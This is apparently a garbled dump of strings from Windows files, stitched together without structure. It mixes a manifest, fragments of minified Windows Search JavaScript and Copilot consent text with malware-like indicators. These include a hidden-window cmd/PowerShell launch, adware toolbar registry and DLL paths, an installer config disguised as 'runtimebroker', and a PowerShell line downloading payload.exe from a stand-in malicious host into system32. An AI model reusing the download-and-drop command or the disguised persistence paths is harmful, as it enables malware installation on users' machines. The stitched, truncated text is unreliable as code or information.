G_.\windows\system32\cmd.exe/c"{
x20-windowstyle\x20hidden\x20-noexit\x20-command
<assemblyIdentity version="1.0.0.0" processorArchitecture="*" name="Microsoft.WindowsLive.Sync" type="win32"/>
      <!-- Windows Threshold -->
      <!-- Windows BLUE -->
      <!--The ID below indicates application support for Windows Vista --> 
      <!--The ID below indicates application support for Windows 7 --> 
      <!--The ID below indicates application support for Windows 8 --> 
    <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
    </asmv3:windowsSettings>
Microsoft Windows
Windows
cmd.exe%systemroot%\system32/c"cmd.exe/v/c
Microsoft.Windows.Storage.VolumeManager
Microsoft.Windows.Defender
Microsoft.Windows.AccelLib
QT_USE_NATIVE_WINDOWS
Microsoft.Windows.ServiceControlManager
Microsoft.Windows.ServiceHealth
microsoft\windows\startmenu\programs\startup
bWindows\ CurrentVersion\Explorer\Browser Helper Objects\{5074851C-F67A-488E-A9C9-C244573F4068}
usersstararticsbar.dllsoftware\microsoft\windows\currentversion\uninstall\bazookabar}\enablepopupbazookabarbandm
A\windowssa\
Windows SA
5T\Uninstall\Windows SA
af\Uninstall\Windows SR 2.0
\windowssa\libcurl.dll
!\windowssa\omniband.dll
Z}A@OQAn\windowssa\omniscient.exe
\windowssa\omniscienthook.dll
tsunami_installer_name="runtimebroker"tsunami_installer_folder=rf"{roaming_appdata_path}\microsoft\windows\applications"
.powershell-command"invoke-webrequest-uri'http://malicious-site.com/payload.exe'-outfile'c:\windows\system32\
Microsoft.Windows.DriverStore
WINDOWSUDK.SERVICES.IRIS.IDENTITYPROVIDER
Microsoft.Windows.SetupApi
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
*.crtwindows\system\certifexpxp.exe\windows\babies\windows\system\w32upd.exe
nccountId==t.accountId&&n.accountProviderAuthority==t.accountProviderAuthority&&n.accountProviderId==t.accountProviderId&&n.accountState==t.accountState&&n.isDefaultAccount==Boolean(t.isDefaultAccount)?!0:!1:!1:!0}createAnaheimDataResponse(t,r){var h,c,l,a;i.setShouldShowAnaheimDataSH(!0);i.setShouldShowAnaheimDataQF(!0);n.config.reverseAnaheimData?i.InstrumentStringNumber.REV=1:i.InstrumentStringNumber.FWD=1;let v=this.selectedWSBAccount?o(this.selectedWSBAccount.accountProviderAuthority):-1,y=i.selectedANAAccountProfile?s(i.selectedANAAccountProfile.accountType):-1;i.InstrumentStringNumber.WAT=v;i.InstrumentStringNumber.AAT=y;i.InstrumentStringNumber.ACnt=i.aadCnt;i.InstrumentStringNumber.MCnt=i.msaCnt;i.InstrumentStringNumber.OCnt=i.otherCnt;let f=i.score;f==-1&&(f=this.getUserNameWithTypeScore(v,(c=(h=this.selectedWSBAccount)===null||h===void 0?void 0:h.accountUserName)!==null&&c!==void 0?c:"",y,(a=(l=i.selectedANAAccountProfile)===null||l===void 0?void 0:l.emailAddress)!==null&&a!==void 0?a:""),f==-1&&i.selectedANAAccountProfile&&(f=0));i.InstrumentStringNumber.Score=f;let u={anaheimDataItems:[],quickAnswers:[]};if(n.config.enableQuickSearch||!n.canShowQuickSearchWithoutANA(t)||n.isTrendingSearchDataEnabled(t)||(u=n.QuickSearchSuggestionsDataProvider.getQuickSearchResponse(u)),n.config.anaheimAccountCheckLevel==0||i.selectedANAAccountProfile||(r=[]),r)for(let{value:f}of r)if(f){let o=this.getSelectedWindowsAccount(),s=f===null||f===void 0?void 0:f.anaheimAccount,r=f===null||f===void 0?void 0:f.anaHistoryItems,e=f===null||f===void 0?void 0:f.anaTopSitesItems;if(this.validateAndCompareAccount(o,s)){if(i.InstrumentStringNumber.CFCC=++i._cachedFetchCount,r){let f=r===null||r===void 0?void 0:r.filter(({dismissed:n})=>!n);i.InstrumentStringNumber.PVDHS=f.length;n.config.enableAnaheimDataHS&&f.length>0&&!n.isTrendingSearchDataEnabled(t)&&u.anaheimDataItems.push(...f)}if(e){let t=e===null||e===void 0?void 0:e.filter(({dismissed:n})=>!n);i.InstrumentStringNumber.PVDTS=t.length;n.config.enableAnaheimDataTSTile&&t.length>0&&u.anaheimDataItems.push(...t)}}}return e()&&(u.anaheimDataItems=this.transformDeviceItemToAnaheimDataItem(n.MockedAnaheimDataResponse.deviceItems,undefined),u.quickAnswers=n.MockedAnaheimDataResponse.quickAnswers),t.isSearchHomeZI&&(u.remove=(n,t)=>this.dismissSingleAnaheimSuggestion(n,t)),u}isAnaheimDataItemDismissed(n){var t;if((t=i.cachedAnaheimDismissedDataItemIds)!==null&&t!==void 0)return t.some(t=>t===n)}shouldCompareWithCache(n,t){return t?n?JSON.stringify(n)===JSON.stringify(t):!1:!0}getDedupeKey(n){let t=n.getProperty("System.Link.TargetUrl");return t?new URL(t).hostname.replace("www.","")+n.getProperty("System.Title"):undefined}transformDeviceItemToAnaheimDataItem(n,t){var r,u,f;let o=this.shouldCompareWithCache(i.cachedAnaheimAccount,t),e=[];for(let t of n){let n={id:t.id,dateCreatedInS:0,lastUpdatedInS:0,dataType:"",url:t.getProperty("System.Link.TargetUrl"),title:t.getProperty("System.Title"),dateCreated:(r=t.getProperty("System.DateCreated"))===null||r===void 0?void 0:r.toString(),dateModified:(u=t.getProperty("System.DateModified"))===null||u===void 0?void 0:u.toString(),dateVisited:(f=t.getProperty("System.Link.DateVisited"))===null||f===void 0?void 0:f.toString(),visitCount:t.getProperty("System.History.VisitCount"),urlTypedCount:t.getProperty("System.History.SelectionCount"),dismissed:o?this.isAnaheimDataItemDismissed(t.id):!1,duplicated:!1,dedupeKey:this.getDedupeKey(t)};e.push(n)}return e}resetInitialized(){i.retryCount=f;i.expirationThresholds=[3,7,14];i.initialized=!1;i.InstrumentStringNumber={};this.anaheimStrategy=0;this.anaheimDataEntry={lastUpdated:0,anaheimAccount:null}}saveAnaheimDataToStorage(n){if(this._writing){this._pendingWrites.push(()=>this.saveAnaheimDataToStorage(n));return}this._writing=!0;let r;this.selectedWSBAccount&&(r={id:"",dateCreatedInS:0,lastUpdatedInS:0,dataType:"",accountId:this.selectedWSBAccount.accountId,accountType:-2,accountState:this.selectedWSBAccount.accountState,accountUserName:this.selectedWSBAccount.accountUserName,accountProviderId:this.selectedWSProvider{getHostByReg(n){try{let t=/\/\/([^\/]+)/.exec(n);return t?t[1]:"invalidUrl"}catch(t){return"invalidUrl"}}getHost(n){let t=null;try{t=new URL(n)}catch(r){t=null}let i=t===null||t===void 0?void 0:t.hostname;return i||(i=`${this.getHostByReg(n)}_reg`),i}fetchUrl(f,e,o,s,h,c){if(n.isBrowserOnline()){const u=this.getHost(f),l=()=>{if(n.config.wsbUseFetchSendRequest){const t={url:f,body:o,requestType:o?"POST":"GET",headers:e};return n.fetchUrlAsync(`makeHttpRequestAsync_${u}`,t)}else{let r=o?1:0,n=SearchAppWrapper.CortanaApp,t=n.createStringMap(),i=n.createStringMap();if(e)for(let n in e)n.toLowerCase().startsWith("content")?i[n]=e[n]:t[n]=e[n];return n.makeHttpRequestAsync(r,f,t,o,i)}},a=r=>{c()&&(r.statusCode===200?n.Async.safeChain("cortanaJson_ReadResponse",()=>r.readAsStringAsync(),i=>{if(c()){n.TestHookUrlParameters&&i&&(i=i.replace(new RegExp("<!--[^]*?-->","gm"),""));let r=i?n.safeExecute(()=>JSON.parse(i),"parseCortanaHttpResponse",null,u):null;r!=null?s(this._dataSource,r,null):s(this._dataSource,null,t)}},()=>s(this._dataSource,null,i),h):s(this._dataSource,null,r.statusCode.toString()))};n.Async.safeChain(`makeHttpRequestAsync_${u}`,l,a,()=>s(this._dataSource,null,r),h)}else s(this._dataSource,null,u,null,!0)}}n.CortanaJsonDataProvider=f}(WSB||(WSB={})),function(n){var t;(function(t){function e(){return n.MockUrlParameters&&typeof n.MockedAnaheimDataResponse=="object"}function o(n){return n?n=="consumers"?1:n=="organizations"?2:9:0}function s(n){return n?n=="MSA"?1:n=="AAD"?2:9:0}const h=n.config.enableAnaheimDataQFPassive?80:20,u=5,f=2,r="ANA",c="lastUpdated";t.isForTest=e;t.getAccountTypeFromAuthority=o;t.getAccountTypeFromContentType=s;class i extends t.ClientSideStorage.StorageBasedDataProvider{static getResultsCount(){return i._getResultsCount}static getResultsExceptionCount(){return i._getResultsExceptionCount}static decreaseRetryCount(){return i.retryCount-=1}static getRetryCount(){return i.retryCount}static getExpirationThreshold(){let n=i.retryCount;return i.expirationThresholds[n]}static getAvailableChannels(){return i.availableChannels}static getSelectedProfile(){return i.selectedANAAccountProfile}static isInitialized(){return i.initialized}static setShouldShowAnaheimDataSH(n){return i.shouldShowAnaheimDataSH=n}static getShouldShowAnaheimDataSH(){return i.shouldShowAnaheimDataSH}static setShouldShowAnaheimDataQF(n){return i.shouldShowAnaheimDataQF=n}static getShouldShowAnaheimDataQF(){return i.shouldShowAnaheimDataQF}static setCachedAnaheimDismissedDataItemIds(n){var r,u,f,e,o,s,h,c;let t=[];t.push(...((u=(r=n===null||n===void 0?void 0:n.anaHistoryItems)===null||r===void 0?void 0:r.filter(({dismissed:n})=>n).map(n=>n.id))!==null&&u!==void 0?u:[]));t.push(...((e=(f=n===null||n===void 0?void 0:n.anaTopSitesItems)===null||f===void 0?void 0:f.filter(({dismissed:n})=>n).map(n=>n.id))!==null&&e!==void 0?e:[]));t.push(...((s=(o=n===null||n===void 0?void 0:n.anaRecentlyClosedItems)===null||o===void 0?void 0:o.filter(({dismissed:n})=>n).map(n=>n.id))!==null&&s!==void 0?s:[]));t.push(...((c=(h=n===null||n===void 0?void 0:n.anaFavoritesItems)===null||h===void 0?void 0:h.filter(({dismissed:n})=>n).map(n=>n.id))!==null&&c!==void 0?c:[]));i.cachedAnaheimDismissedDataItemIds=t}static setCachedAnaheimAccount(n){i.cachedAnaheimAccount=n===null||n===void 0?void 0:n.anaheimAccount}getName(){return"AnaheimDataProvider"}constructor(t,r){let u=(t,i,u)=>r(n.ANADatabaseName,n=>{t(n)},i,u,c),f=(t,r,u)=>(i.InstrumentStringNumber.LFC=++i._lifetimeFetchCount,n.safeExecute(()=>this.createAnaheimDataResponse(t,r,u),"createAnaheimDataResponse")),e=()=>!0,o=n=>n=="R"?undefined:n;super(u,f,e,o,"ANA");this.searchIndexerTime=0;n.Host.bindShown(()=>{this.resetInitialized(null),this.queryStorage("anaheimData",n=>{i.setCachedAnaheimAccount(n),i.setCachedAnaheimDismissedDataItemIds(n)},()=>this.onAfterWrite(),()=>this.onAfterWrite(),()=>this.onAfterWrite()),this.searchIndexerWithMultipleResults(n.Host.getQuery(),new n.CancellationManager)});this.accessTokenManager=t;this._pendingWrites=[]}validateAndCompareAccount(n,t){return n?t?n.aH
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
USERDOMAIN_ROAMINGPROFILE=Windows11
ters||n.MockUrlParameters){h=!!n.MockUrlParameters;let t=n.TestHookUrlParameters!==null&&n.TestHookUrlParameters!==void 0?n.TestHookUrlParameters:n.MockUrlParameters,r=t.previewPaneUrlOverride;i=r?decodeURIComponent(r):n.UrlParameters.copyTestParametersTo(i);h&&(i=ThresholdUtilities.setUrlParameter(i,"client","windowsMiniSerp"));let u=t.miniSerpBag;u&&(i=ThresholdUtilities.setUrlParameter(i,"bag",u));let f=t.miniSerpAjaxBag;f&&(i=ThresholdUtilities.setUrlParameter(i,"ajaxbag",f));let e=t.dummyref;e&&(i=ThresholdUtilities.setUrlParameter(i,"dummyref",e));let o=t.clientIP;o&&(i=ThresholdUtilities.setUrlParameter(i,"clientip",o))}n.config.enableWsbPartnerCodes&&(i=n.setWsbPartnerCodeToURL(i,2));let y=e==0;sj_evt.fire(n.MiniSerpFetchEvent,t,y);let s=n.Host.getCustomHeaders(null);s["X-BM-DeviceDimensionsLogical"]=f+"x"+this._root.clientHeight;s["X-BM-DeviceDimensions"]=String(Math.round(f*this._deviceScale))+"x"+this._root.clientHeight;h||(n.config.restrictedAPIHeaderChange?s["X-RestrictedAPI"]="1":s["User-Agent"]=n.getUserAgent()+" RestrictedAPI");r&&(s["Content-Type"]=r.contentType);s["X-Search-SafeSearch"]="Strict";let c=++this._previewRequestId,l=f=>{if(n.config.enableMiniserpFetchTelemetry){let t=n.getCurrentTime()-this._fetchStartTime,i={miniserpFetchLatency:t.toString()};n.InstrumentationHelper.logClientInstEvent(u,"MiniSerpFetchLatency",n.SequenceNumberManager.getSequenceNumber(),i)}if(this._shouldRenderMiniSerp)sb_ct(this._ppMiniSerpRenderTimer),this._ppMiniSerpRenderTimer=null,this._shouldRenderMiniSerp=!1;else return;this.miniSERPRenderTimeoutInstrumentation("miniSerpViewModelCallback");let e=n.getCurrentTime();this._previewPaneViewModelParent.onResponseReceived(e);f.status==200&&f.responseText?(this._previousURLs.push(i),this.renderIframe(i,f.responseText,s,h,!!r,a)):(n.InstrumentationHelper.notifyTopHitPreviewPaneOpenedOrInterrupted(n.SequenceNumberManager.getSequenceNumber()),this.miniSerpErrorInstrumentation("renderErrorMessage",e,f),this.renderErrorMessage(t.query))};this._ppMiniSerpRenderTimer&&(sb_ct(this._ppMiniSerpRenderTimer),this._ppMiniSerpRenderTimer=null);this._shouldRenderMiniSerp=!0;let p=(n.config.miniSERPRequestRetries+1)*n.config.miniSERPRequestTimeout+1e3;this._ppMiniSerpRenderTimer=n.safeSetTimeout(()=>{this._previewedSuggestion!=null&&this._previewedSuggestion==t&&(this._shouldRenderMiniSerp=!1,n.InstrumentationHelper.notifyTopHitPreviewPaneOpenedOrInterrupted(n.SequenceNumberManager.getSequenceNumber()),this.miniSERPRenderTimeoutInstrumentation("ppMiniSerpRenderTimeout"),this.stopLoadingScreen(),this.renderErrorMessage(t.query))},p,"ppMiniSerpRenderTimer");let v={"User-Agent":n.getUserAgent()+" RestrictedAPI"};if(n.isServicingSearchBingAs3PEnabled()&&a){let i=t;!o&&i.url&&(o=i.url);o&&(o=n.addQueryParamsToUrl(o,{wsbpreviewpane:"1"}));this.fetchMiniSerpUrl(o,null,n.config.wsbDefaultBundle?v:null,l,c,n.config.miniSERPRequestRetries,!0);return}if(t.scope==n.Scope.ThirdPartyWeb&&o){this.fetchMiniSerpUrl(o,null,n.config.wsbDefaultBundle?v:null,l,c,n.config.miniSERPRequestRetries,!0);return}this.fetchMiniSerpUrl(i,r?r.data:null,s,l,c,r?0:n.config.miniSERPRequestRetries)}fetchMiniSerpUrl(t,i,r,f,e,o,s){n.config.enableMiniserpFetchTelemetry&&(this._fetchStartTime=n.getCurrentTime());let h=f;o>0&&(h=n.isSupportWebResultsInAllScopeInDMAEnabled()&&s&&!t?()=>{f({responseText:"",contentType:"",status:-1,result:4})}:i=>{if(i.result==0&&i.responseText)f(i);else{let s={Url:t,StatusCode:i.status.toString(),Timeout:n.config.miniSERPRequestTimeout.toString(),RetriesRemaining:o.toString()};n.InstrumentationHelper.logClientInstEvent(u,"MiniSERPRefetch",n.SequenceNumberManager.getSequenceNumber(),s);this.fetchMiniSerpUrl(t,null,r,f,e,o-1)}});n.config.isThemeAware&&n.isDarkModeEnabled()&&(t=ThresholdUtilities.setUrlParameter(t,"darkschemeovr","1"));!n.config.useCobaltCSS||t.includes("addfeaturesnoexpansion=wsbcobalt")||s||(t+="&addfeaturesnoexpansion=wsbcobalt");n.config.enableWsbPartnerCodes&&(t=n.setWsbPartnerCodeToURL(t,2));n.fetchUrl(t,r,i,h,null,()=>e==this._previewRequestId,!0,i?undefined:n.config.miniSERPReqe
windows.hlp`
l)});n.config.enableMiniserpCoSearchCPS&&(sj_evt.bind(n.MiniSerpCoSearchCPSLoadEvent,()=>{this._miniserpCPSContainer&&n.config.enableMiniserpCoSearchCPS&&this.renderMiniserpCoSearchCPS()}),sj_evt.bind(n.MiniSerpCoSearchCPSLoadedEvent,()=>{this._onCPSIFrameLoadedCallback&&(this._onCPSIFrameLoadedCallback(),this._onCPSIFrameLoadedCallback=null)}));this._msRewardsViewModel&&(sj_evt.bind(tt,([,n])=>{this._msRewardsViewModel.notifyPointsRewarded(n)}),sj_evt.bind(it,([,t])=>{n.LogWSBError("RewardsReportActivityFailureEvent",null,t?new Error(t):null,undefined,undefined,"WindowsTelemetry")}))}init(t,i){this._previewPaneViewModelParent=t;this._root=i;this._seeAllResults=this._root.querySelector("#seeAllResults");this._footer=this._root.querySelector("#footer");this._mask=this._root.querySelector("#previewMask");this._forceLoadScreen=this._root.querySelector("#forceLoadMessage");this._contentContainer=this._root.querySelector("#miniSerpPaneContainer");this._scrollArea=this._root.querySelector("#miniSerpScrollArea");this._loadingScreen=this._root.querySelector("#loadingScreen");this._miniserpCPSContainer=this._root.querySelector("#miniserpCoSearchCPSPane");this._hasErrored=!1;this._selectedItem=null;sj_be(this._scrollArea,"scroll",t=>{this._iframe&&n.contains([2,3],this._currentVertical)&&this._iframe.contentWindow.dispatchEvent(new Event(t.type,t)),this._calculateIFrameHeight&&this._calculateIFrameHeight()});this._contentContainer&&n.config.enableMiniserpOverlay&&this._contentContainer.classList.add("minioverlay");this._footer&&!n.config.disableMiniserpButton&&(sj_be(this._footer,"keydown",t=>{this._iframe&&n.isUpOrDownKey(t.keyCode)?(t.keyCode==38?this.tryExecuteFocusOnMiniSerp(()=>this._focusHelper.moveFocusToEdgeFocusableElement(1)):n.RuntimeConfig.AllowKeyboardNavCycling&&this.tryExecuteFocusOnMiniSerp(()=>this._focusHelper.moveFocusToEdgeFocusableElement(0)),sj_pd(t),sj_sp(t)):t.keyCode==13?this._footer.click():t.keyCode==9&&this._focusHelper.moveFocusToWindow()}),this._footer.classList.add(o));this._mask&&n.RuntimeConfig.MiniSERPMode!=0&&sj_be(this._mask,"keydown",n=>{n.keyCode==13&&this._mask.click()});sj_be(_w,"message",t=>{let i=t.data?t.data.msWinJSXYFocusControlMessage:null;if(i&&i.type==nt){let u=i.direction,f=i.keyCode;this._focusHelper&&!this._focusHelper.isL2Visible()&&this._focusHelper.getXYFocusRoot()!=this._originalMiniSerpXYFocusRoot?(this._focusHelper.setXYFocusRoot(this._originalMiniSerpXYFocusRoot),this.tryExecuteFocusOnMiniSerp(()=>this._focusHelper.moveFocus(u,f))):(u!=r[n.getRtlAdjustedKey(39)]&&t.source.blur(),u==r[40]||u==r[38]&&n.RuntimeConfig.AllowKeyboardNavCycling?this._footer?this._footer.focus():this._focusHelper.moveFocusToEdgeFocusableElement(u==r[38]?1:0):u!=r[n.getRtlAdjustedKey(37)]||n.Host.searchBoxHasFocus()||n.Host.setFocusInSearchBox(f,"previewPaneUnfocus"))}})}finalizeKeystroke(){this.instrumentOnPreviewPaneRendered(!1,!0)}getSelectableItems(){return this._selectedItem?[this._selectedItem]:[]}getSelectableItemsByGroup(){return[]}getSelectedItem(){return this._selectedItem}select(){}onAfterKeyDown(){return!1}clear(){this._previewedSuggestion=null;this._onPreviewPaneRendered=null;this._hasErrored=!1;this._selectedItem=null;this._footer&&(n.setVisibility(this._footer,!1),this._footer.onclick=null);this._mask&&(n.setVisibility(this._mask,!1),this._mask.onclick=null);this._forceLoadScreen&&this.clearForceLoadPage();this.clearContent();this._previousURLs=[]}showForceLoad(t,i){n.InstrumentationHelper.logClientInstEvent("Select","ForceLoadOpened",n.SequenceNumberManager.getSequenceNumber(),{suggestionText:t});this.stopLoadingScreen();n.setVisibility(this._scrollArea,!1);n.setVisibility(this._footer,!1);n.setVisibility(this._mask,!1);this._miniserpCPSContainer&&n.setVisibility(this._miniserpCPSContainer,!1);n.setVisibility(this._forceLoadScreen,!0);this.formatForceLoadPage(t);this._forceLoadScreen.onclick=()=>{this.clearForceLoadPage(),this.startLoadingScreen(),i()}}clearForceLoadPage(){for(n.setVisibility(this._forceLoadScreen,!1),n.setVisibility(this._scrollArea,!0),this._forceLoadScreen.onclickg.enableCISpellerAtPrefixLength?!0:!1}}t.PreviousKeystrokeCache=i})(t=n.Cache||(n.Cache={}))}(WSB||(WSB={})),function(n){var t;(function(t){function c(t){(e=t,n.StaticHtmlElements.dialogBox)&&(sj_be(n.StaticHtmlElements.dialogBox,"click",n=>{let r=n.target.id,t=i().filter(n=>n.id==r).shift();t?(t.action&&t.action(),u()):r=="dialog_overlay"&&u();sj_sp(n)},!0),n.Host.bindKeyDown(n=>{if(r){let t;switch(n){case 39:{let n=i(),r=!1;for(let i=0,u;u=n[i];i++)if(r){t=u;break}else if(r=u.selected==!0,r&&i+1==n.length){t=n[0];break}break}case 37:{let n=i(),r;for(let u=0,i;i=n[u];u++){if(i.selected==!0){t=r?r:n[n.length-1];break}r=i}break}}t&&h(t)}}),n.Host.bindKeyEscape(n=>{o()&&(u(),n.handled=!0)}))}function l(n,t,i,u){if(f=[],t.length==0)throw new Error("DialogBox: Empty buttons array");f=t.map((n,t)=>{let i=n;return i.id="dialog_b"+t,i.narratorText=i.text,i});let o={isVisible:!0,title:i,messageText:n,buttons:f,isModal:u};e.updateDialogBox(o);r=!0}function u(){if(r)e.updateDialogBox({isVisible:!1}),r=!1}function o(){return r}function i(){return f}function a(){return i().map(n=>[n])}function s(){return i().filter(n=>n.selected).shift()}function h(n){for(let t of i())t.selected=t.id==n.id,t.selected&&_ge(n.id).focus()}function v(){if(o()){let n=s();n&&(n.action&&n.action(),u())}}function y(){return!1}let f=[],e,r=!1;t.init=c;t.show=l;t.hide=u;t.isVisible=o;t.getSelectableItems=i;t.getSelectableItemsByGroup=a;t.getSelectedItem=s;t.select=h;t.submit=v;t.onAfterKeyDown=y})(t=n.DialogBox||(n.DialogBox={}))}(WSB||(WSB={})),function(n){function s(n){return n.includes("form=vsranf")}function h(t){let i=n.tryParseUrl(t,!0);return!!i&&/[\?\&]q=/i.test(i.parameters)&&!/[\?\&]view=detail/i.test(i.parameters)}function lt(t){let i=n.tryParseUrl(t,!0);return!!i&&ct.test(i.parameters)}function at(n){switch(n){case 1:case 0:return 1;case 13:return 2;case 14:return 3;default:throw Error("Unsupported handoff type: "+n);}}function c(n){switch(n){case 1:return 1;case 2:return 7;case 3:return 8;default:throw Error("Unsupported vertical: "+n);}}function l(t){let i=n.tryGetBingPathLC(t);return i?n.contains(st,i)?2:n.contains(ht,i)?3:n.contains(n.WebSearchPaths,i)?1:null:null}const f=n.PreviewPaneWidth-24,v="miniserp_focus",y="disableOutline",i=2,p=["tab-active","slide"],w=["aria-expanded"],b="videoPreview",k=300,e=30,d="IsSearchAppXYFocusEnabled",g="WinJS",nt="dFocusExit",t="win-xyfocus-suspended",tt="Rewards.ReportActivity.Success",it="Rewards.ReportActivity.Failure";n.MiniSerpIframeId="miniIframeSerp";n.MiniSerpFetchEvent="miniSERP.Fetch";n.MiniSerpLoadedEvent="MiniSerpContentLoaded";n.MiniSerpClearingEvent="MiniSerpContentClearing";n.MiniSerpCoSearchCPSLoadEvent="MiniSERPCPSLoad";n.MiniSerpCoSearchCPSLoadedEvent="MiniSERPCPSLoaded";const rt=["/account/","/settings.aspx"],r=function(){let n={};return n[37]="left",n[39]="right",n[38]="up",n[40]="down",n}(),ut=1e4,ft=800,et=100,ot=["&form=s00037&"],st=["/images/search","/images"],ht=["/videos/search","/videos"],ct=/[\?\&]FORM=HDRSC[1-3]/i,u="ClientInst",o="noIcon";class vt{constructor(t,i){this._navigationHelper=t;this._msRewardsViewModel=i;this._deviceScale=1;this._previewRequestId=0;this._previewCPSRequestId=0;this._previousURLs=[];this.blockedMiniSERPUrls=[_w.location.origin+_w.location.pathname];this._miniSERPIframeWidth=0;n.Host.bindShown(()=>{const t=n.Host.getCachedCortanaHeaders();t&&t["X-BM-DeviceScale"]?this._deviceScale=+t["X-BM-DeviceScale"]/100:ThresholdUtilities.getCortanaHeaders(t=>{t?n.Host.setCortanaHeadersCache(t):SharedLogHelper===null||SharedLogHelper===void 0?void 0:SharedLogHelper.LogError("miniserpDeviceScale",undefined,"get Cortana headers failed"),t&&t["X-BM-DeviceScale"]&&(this._deviceScale=+t["X-BM-DeviceScale"]/100)});this.setVertical(1)});n.Host.bindAppHidden(()=>{this._seeAllResults&&(this._seeAllResults.innerText=""),this._currentVertical=null});n.Host.bindSearchBoxGotFocus(()=>{this._focusHelper&&this._focusHelper.onSearchBoxFocusChanged()});sj_evt.bind(n.MiniSerpLoadedEvent,()=>{this._onIFrameLoadedCallback&&(this._onIFrameLoadedCallback(),this._onIFrameLoadedCallback=nul
P=-lock\Windows
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetBoard
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-CoreSystem-RemoteFS-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.catt
Windows 2006
=t=>{for(let i of a){let r=e[i];t[i]={deviceItem:{id:i,displayName:n.Host.getLocString(r.locStringKey),kind:null,getProperty:()=>null,propertyHits:[],rankScore:1e3},icon:r.icon}}i(t)},y=(t=new window.Map)=>{for(let i of a){let r=e[i];t.set(i,{deviceItem:{id:i,displayName:n.Host.getLocString(r.locStringKey),kind:null,getProperty:()=>null,propertyHits:[],rankScore:1e3},icon:r.icon})}i(t)};n.safeExecute(()=>{if(t.length==0)n.config.mapWrapperToJsMap?y():v({});else{let e={},c=new window.Map,i=t.slice(0);if(h)for(let r=t.length-1;r>=0;--r){let u=t[r];h.hasOwnProperty(u)&&(n.config.mapWrapperToJsMap?c.set(u,h[u]):e[u]=h[u],i.splice(r,1))}if(i.length==0)n.config.mapWrapperToJsMap?y(c):v(e);else{let l=!s||n.localDataSourceMayContainPII(s)?s:s+" "+i;n.Async.safeChain(r,()=>u(i),r=>{if(n.config.mapWrapperToJsMap){let n=new window.Map;if(i.forEach(t=>{let i=r[t];i&&n.set(t,f(i))}),h&&i.forEach(t=>h[t]=n.get(t)),i.length!=t.length)for(let[i,t]of c)t&&n.set(i,t);y(n)}else{let u=n.Map.map(i,r,n=>f(n));if(h&&i.forEach(n=>h[n]=u[n]),i.length!=t.length)for(let n in e)e.hasOwnProperty(n)&&(u[n]=e[n]);v(u)}},()=>n.config.mapWrapperToJsMap?y():v({}),o,l)}}},"resolveIdsWithCache",null,s,()=>n.config.mapWrapperToJsMap?y():v({}))}function oi(n,t){if(!t.launchArguments||ei.test(n.query))return!0;let i=t.id.toLowerCase();return ct.some(n=>i.includes(n))?!0:!1}function lt(t,i,r,u,f){if(!f)return!1;let o=t.displayName.toLocaleLowerCase(),e=i.queryToFetch.toLocaleLowerCase(),s=null;if(f.Parses&&f.Parses.length>0&&f.Parses[0].SubParses&&f.Parses[0].SubParses.length>1&&f.Parses[0].SubParses[0].Interpretation&&f.Parses[0].SubParses[0].Interpretation==="regex"&&e.length>=f.Parses[0].SubParses[0].QueryEnd&&f.Query!=null){if(e.length===f.Parses[0].SubParses[0].QueryEnd)return!0;e=e.substr(f.Parses[0].SubParses[0].QueryEnd+1);f.Query=f.Query.substr(f.Parses[0].SubParses[0].QueryEnd+1)}return e.length<n.config.filterCICandidatesPrefixLength&&!at(e,o)&&(s=n.matchesOnPropertyHH(o,e),!s)?!0:li(o,e,t,r,u,f)?!0:!1}function li(t,i,r,u,f,e){if(!i||!e||!e.MatchScore||!e.Parses||e.Parses.length==0||!e.Parses[0].Entities||e.Parses[0].Entities.length==0||!e.Query||t.startsWith(i)&&i.length>=n.config.filterCICandidatesPrefixLength)return!1;let o=e.Query;if(o.startsWith(i)||n.config.bypassCIFilterOnSubstringMatch&&t.split(" ").some(n=>n.startsWith(i)))return!1;let s=t.startsWith(o);if(!s)return!0;return f.Counter>=1?!0:(f.Counter++,!1)}function at(n,t){if(!!t&&t.length==0)return!1;let i=t.split(" ");if(n.length!=i.length)return!1;for(let t=0;t<i.length;t++)if(i[t].length==0||i[t][0]!=n[t])return!1;return!0}function vt(n){let i=n.id.toLowerCase();if(i.startsWith("http:")||i.startsWith("https:")||n.kind=="link"&&i.endsWith(".url"))return 1;if(i.startsWith("file:")||n.kind=="document")return 0;let t=n.filePath;if(t&&(t=t.toLowerCase(),t!=i)){if(t.startsWith("http:")||t.startsWith("https:")||n.kind=="link"&&t.endsWith(".url"))return 1;if(t.startsWith("file:"))return 0}return 2}function p(t,i){const r=i instanceof Error&&(i.message==="Promise canceled"||i.message==="Canceled"||i.message.includes("0x800704C7"));r||n.LogWSBError("debugWindowsIndexerQueryTimeout",t,i,undefined,undefined,"WindowsTelemetry")}function yt(n,t){if(t.dataSource=="PP"){let t=vt(n);if(t==1)return"LURL";if(t==0)return"LDOC"}return t.getSuggestionType(n)}function pt(t){return t&&t.rawIndexResponse?n.safeExecute(()=>JSON.parse(t.rawIndexResponse),"parseConstraintIndexMetaData"):undefined}function wt(t,i,r,u,f,e){if(n.IndexerQueryGenerator&&n.IndexerQueryGenerator.suppress(i,t,u))return!0;if(r=="PP"){let h=i.id;if(n.contains(si,h))return!0;let o=i;if(lt(o,t,!0,f,e))return!0;let r=i.kind;if(r&&(r=r.toLocaleLowerCase(),r!="program"&&r!="unknown")||u=="LRA"&&vt(o)!=2)return!0;let s=o.extension;return s&&s.toLowerCase()==".chm"?!0:!1}if(r!="LURL"&&i.kind=="link"&&n.RuntimeConfig.QfMode!=5)return!0;if(n.isSetting(r))return lt(i,t,!1,f,e)?!0:!1;let o=i;if(!n.IndexerQueryGenerator&&u=="MDOC"&&((o===null||o===void 0?void 0:o.propertyHitsString)=="System.Search.Contents"||o.propertyHits.length==1&&o.propertyHits[0INDX(
